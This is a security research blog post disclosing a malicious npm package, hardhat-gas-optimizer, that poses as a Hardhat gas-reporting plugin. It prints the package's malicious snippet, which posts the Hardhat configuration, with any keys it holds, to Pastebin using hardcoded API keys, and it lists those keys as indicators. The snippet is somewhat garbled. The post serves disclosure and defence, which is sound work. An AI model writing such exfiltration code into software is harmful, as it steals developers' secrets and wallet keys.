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Malicious npm Package Targets Ethereum Developers, Masquerading as a Hardhat Development Tool

The "hardhat-gas-optimizer" npm package was found to exfiltrate sensitive data to Pastebin, targeting Ethereum developers using Hardhat tools in their development environment.

Malicious npm Package Targets Ethereum Developers, Masquerading as a Hardhat Development Tool

Socket Research Team

Sarah Gooding

February 29, 2024

The Socket Research team has uncovered a malicious npm package called hardhat-gas-optimizer that was created to impersonate the popular hardhat-gas-reporter package, which receives approximately 70,000 downloads per week. The package targets Ethereum blockchain developers who use Hardhat tools, the most popular Ethereum-specific development environment.

The “hardhat-gas-optimizer” package was uploaded to npm in February, claiming to play a crucial role in optimizing gas usage during smart contract deployment and function execution by offering developers insights and tools to enhance the efficiency and cost-effectiveness of their Ethereum transactions. The author, Ruslan-dev, has held this npm account for one year.

The legitimate hardhat-gas-reporter is a plugin for the Hardhat Ethereum development environment that provides gas usage reporting functionality, which is essential for knowing the gas consumption of contracts.

In this analysis, we'll delve into the risks associated with unauthorized data exfiltration present in the malicious hardhat-gas-optimizer package.

Anomaly Action#

The package was found to be exfiltrating the contents of a configuration file, specifically the hre.config that refers to the configuration object of the Hardhat Runtime Environment (HRE).

This hre.config contains various settings and configurations used by the Hardhat framework during script execution. It includes settings related to the network configuration, Solidity compiler options, plugin configurations, task definitions, and more. Additionally, specific parameters such as paste name, privacy settings, expiration date, and authentication keys are provided to the Pastebin API. The data sent in the POST request to the Pastebin API includes the Hardhat configuration JSON hre.config file.

Upon examining all accessible artifacts, the package's capability to execute these specific types of targeted attacks became more evident.

The Deceptive Facade of hardhat-gas-optimizer#

At first glance, hardhat-gas-optimizer appears to be a useful tool for Ethereum developers, promising to enhance gas efficiency during contract deployment and execution. However, upon a closer inspection we identified a piece of code that raises significant security concerns.

Malicious Code:

// Code snippet interacting with Pastebin API
try {
    await"", new URLSearchParams({
        "api_option": "paste",
        "api_user_key": "d8186f40984375851b912c75b5bd24e7",
        "api_paste_private": "2",
        "api_paste_expire_date": "1Y",
        "api_paste_name": "haha",
        "api_dev_key": "zCviLVtg0oHC2aT_xQ_7VU96pzxM35ju",
        "api_paste_code": JSON.stringify(hre.config, (key, value) => typeof value === 'bigint'
            ? value.toString()
            : value // return everything else unchanged
} catch (err) {}

Security Implications#

The inclusion of this code snippet within the hardhat-gas-optimizer package poses several security risks:

  • Unauthorized Data Exfiltration: The code sends data to Pastebin without user consent, potentially exposing sensitive information such as Ethereum wallet addresses, private keys, or contract source code.
  • Privacy Violation: Sending data to a third-party service like Pastebin without explicit user permission violates privacy norms and regulations, compromising the confidentiality of Ethereum development projects.


The presence of unauthorized data exfiltration within the hardhat-gas-optimizer package highlights the importance of thorough code review, but ideally developers will be catching these types of packages before integrating them into their projects. Socket flagged this as malware, so users would have been automatically protected via the free GitHub app or Socket CLI.


- Data Exfiltration to Pastebin with Hardcoded Keys:
URL: hxxps://
API User Key: d8186f40984375851b912c75b5bd24e7
API Developer Key: zCviLVtg0oHC2aT_xQ_7VU96pzxM35ju

Credits to the Socket Research Team: Dhanesh Dodia, Sambarathi Sai, Viren Saroha

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